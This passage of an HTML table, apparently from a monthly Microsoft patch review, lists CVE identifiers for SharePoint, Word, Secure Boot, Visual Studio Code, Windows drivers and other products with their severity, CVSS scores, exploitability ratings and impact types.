  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45468"><span>CVE-2026-45468</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45479"><span>CVE-2026-45479</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45453"><span>CVE-2026-45453</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47636"><span>CVE-2026-47636</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47637"><span>CVE-2026-47637</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47638"><span>CVE-2026-47638</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47639"><span>CVE-2026-47639</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47641"><span>CVE-2026-47641</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33113"><span>CVE-2026-33113</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45462"><span>CVE-2026-45462</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45464"><span>CVE-2026-45464</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45465"><span>CVE-2026-45465</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47634"><span>CVE-2026-47634</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47640"><span>CVE-2026-47640</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45481"><span>CVE-2026-45481</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48560"><span>CVE-2026-48560</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48562"><span>CVE-2026-48562</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42835"><span>CVE-2026-42835</span></a></td>
  <td width="256" class="xl68">Microsoft Teams for
  Android Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45606"><span>CVE-2026-45606</span></a></td>
  <td width="256" class="xl68">Microsoft UxTheme
  Library (uxtheme.dll) Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45482"><span>CVE-2026-45482</span></a></td>
  <td width="256" class="xl68">Microsoft Visual
  Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45466"><span>CVE-2026-45466</span></a></td>
  <td width="256" class="xl68">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45471"><span>CVE-2026-45471</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45486"><span>CVE-2026-45486</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45643"><span>CVE-2026-45643</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45457"><span>CVE-2026-45457</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42980"><span>CVE-2026-42980</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42916"><span>CVE-2026-42916</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45649"><span>CVE-2026-45649</span></a></td>
  <td width="256" class="xl68">Office for Android
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47653"><span>CVE-2026-47653</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42909"><span>CVE-2026-42909</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42913"><span>CVE-2026-42913</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42993"><span>CVE-2026-42993</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45588"><span>CVE-2026-45588</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48568"><span>CVE-2026-48568</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48570"><span>CVE-2026-48570</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48573"><span>CVE-2026-48573</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48575"><span>CVE-2026-48575</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48576"><span>CVE-2026-48576</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48578"><span>CVE-2026-48578</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45654"><span>CVE-2026-45654</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45656"><span>CVE-2026-45656</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-8863"><span>CVE-2026-8863</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40376"><span>CVE-2026-40376</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47281"><span>CVE-2026-47281</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47284"><span>CVE-2026-47284</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47292"><span>CVE-2026-47292</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  MSSQL Extension Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48569"><span>CVE-2026-48569</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47287"><span>CVE-2026-47287</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42829"><span>CVE-2026-42829</span></a></td>
  <td width="256" class="xl68">Windows Administrator
  Protection Secure Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70"></td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34335"><span>CVE-2026-34335</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45601"><span>CVE-2026-45601</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45598"><span>CVE-2026-45598</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45596"><span>CVE-2026-45596</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45638"><span>CVE-2026-45638</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45603"><span>CVE-2026-45603</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42911"><span>CVE-2026-42911</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45594"><span>CVE-2026-45594</span></a></td>
  <td width="256" class="xl68">Windows Application
  Identity (AppID) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45655"><span>CVE-2026-45655</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45658"><span>CVE-2026-45658</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45640"><span>CVE-2026-45640</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth Port
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45605"><span>CVE-2026-45605</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47656"><span>CVE-2026-47656</span></a></td>
  <td width="256" class="xl68">Windows Boot Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44809"><span>CVE-2026-44809</span></a></td>
  <td width="256" class="xl68">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45634"><span>CVE-2026-45634</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45608"><span>CVE-2026-45608</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41108"><span>CVE-2026-41108</span></a></td>
  <td width="256" class="xl68">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42905"><span>CVE-2026-42905</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44811"><span>CVE-2026-44811</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
